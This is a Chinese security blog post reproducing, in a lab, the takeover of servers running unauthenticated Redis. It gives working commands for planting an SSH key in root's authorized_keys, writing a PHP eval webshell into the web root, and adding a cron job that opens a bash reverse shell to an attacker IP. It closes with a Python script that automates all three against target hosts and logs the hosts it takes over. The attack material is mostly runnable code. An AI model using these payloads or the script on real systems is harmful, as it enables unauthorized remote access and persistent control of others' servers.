WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

redis未授权访问

最近面试总是被问到redis getshell,所以准备了解一下,系统环境为ubuntu 16.04

首先需要安装redis,直接使用apt安装会出现问题,我碰到的就有redis停不下来,查了很多方法不行,还有写入公钥权限不够,因为apt安装redis默认使用redis用户启动

下载压缩包然后编译安装

1
2
3
4
5
6
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make test
make install

修改redis配置文件

1
gedit redis.conf

找到bind 127.0.0.1修改为bind 0.0.0.0,使redis允许远程连接

启动redis

1
redis-server redis.conf

这样就算启动成功了

0x01 写公钥

需要root权限启动的redis

首先使用命令生成密钥,这里我是用kali作为攻击机

1
ssh-keygen

然后一直回车就行了,之后会在/root/.ssh生成公钥和私钥

1
2
3
4
5
6
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt|redis-cli -h IP -p PORT -x set key
redis-cli -h IP -p PORT
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

因为通过redis将文件写入文件里会出现一些乱码,如果不使用换行符会导致乱码和公钥拼接,从而导致公钥不可使用,在前后加入两个或两个以上的换行符,可以避免这种情况

后面的几句话就比较简单,使用redis-cli连接redis,设置路径和文件名最后保存

ubnuntu16.04没装openssh,需要自己装一下

1
2
apt install openssh-server	#安装openssh
service sshd start #启动sshd服务

通过ssh连接ubuntu

1
ssh -i id_rsa [email protected]

这里-i是选择私钥,默认也是可以不用加的,为了规范可以加一下

当然不是一定要写在/root/.ssh/下,如果权限不够但是还知道别的用户名的话可以尝试写在该用户的根目录的.ssh下

0x02 写webshell

需要知道网站的绝对路径,然后和上面方法差不多,只需要将目录改为网站根目录,然后写入文件改为php文件即可

1
2
3
4
5
redis-cli -h 192.168.163.132 -p 6379
config set dir /var/www/html/
config set dbfilename "shell.php"
set key "\n\n<?php eval($_POST[pass]); ?>\n\n"
save

0x03 写crontab

需要root权限启动redis

上面两种方法CentOs和Ubuntu通用

但是这种方法我在ubuntu里面没有找到使用方法,ubuntu的定时任务在/var/spool/cron/crontab,centos的在/var/spool/cron

centos执行定时任务没问题 ,但是ubuntu执行定时任务的时候一直在报错,我尝试了一下好像关于网络的命令都执行不了

这里一直显示不安全的模式,需要权限600才可以执行,但是redis写进去的文件都是644的,所以没办法执行,我在网上找了相关的资料,也试了一些方法,比如先写一个反弹shell的文件再去执行,发现还是不行,所以只能贴一下centos的命令了

1
2
3
4
5
redis-cli -h 192.168.163.130 -p 6379
config set dir /var/spool/cron
config set dbfilename "root"
set key "\n\n* * * * * bash -i >& /dev/tcp/192.168.163.128/60001 0>&1\n\n"
save

执行完之后监听60001端口就可以获得shell

使用centos复现,安装redis

1
2
3
4
5
6
7
8
9
10
11
12
13
yum install -y epel-release
yum install -y gcc
wget http://download.redis.io/releases/redis-4.0.1.tar.gz
tar -zxvf redis-4.0.1.tar.gz
cd redis-4.0.1
cd deps
make hiredis
make jemalloc
make linenoise
make lua
cd ..
make
make install

接下来和ubuntu一样修改配置文件启动即可

监听60001端口得到shell

写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import redis
import paramiko

key = "" #公钥

class WriteShell:

def __init__(self, host , port=6379, path="", attack_ip="", attack_port=""):
self.conn = redis.Redis(host=host, port=port, decode_responses=True)
self.host = host
self.port = port
self.path = path
self.attack_ip = attack_ip
self.attack_port = attack_port

def TestConnent(self):
try:
self.conn.set('a','a')
print("[+]redis连接成功")
except:
pass

def ssh_redis(self):
try:
self.conn.config_set('dir', '/root/.ssh/')
self.conn.config_set('dbfilename', 'authorized_keys')
self.conn.set('key', '\n\n\n\n' + key + '\n\n\n\n')
try:
self.conn.save()
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.host, 22, "root", key)
with open('result.txt', 'a') as f:
f.write(self.host + '\n')
print('[+]ssh连接成功')
except:
print('[-]ssh连接失败,请手动调试')
with open('result.txt', 'a') as f:
f.write(self.host + '连接失败尝试手动调试\n')
except:
print('[-]保存文件失败')
except:
print('[-]/root/.ssh/不存在')

def webshell_redis(self):
try:
self.conn.config_set('dir', self.path)
try:
self.conn.config_set('dbfilename', 'shell.php')
self.conn.set('key', '"\n\n<?php eval($_POST[pass]); ?>\n\n')
self.conn.save()
print('[+]保存成功,请手动查看是否写入webshell,文件名为shell.php')
with open('result.txt', 'a') as f:
f.write(self.host + 'webshell\n')
except:
print('[-]保存文件失败')
except:
print('[-]路径不存在,请检查路径是否正确')

def cron_redis(self):
try:
self.conn.config_set('dir', '/var/spool/cron')
try:
self.conn.config_set('dbfilename', 'root')
self.conn.set('key', '\n\n* * * * * bash -i >& /dev/tcp/' + self.attack_ip + '/' + self.attack_port + ' 0>&1\n\n')
self.conn.save()
print('[+]保存成功,请查看是否收到shell')
except:
print('[-]保存文件失败')
except:
print('[-]/var/spool/cron不存在')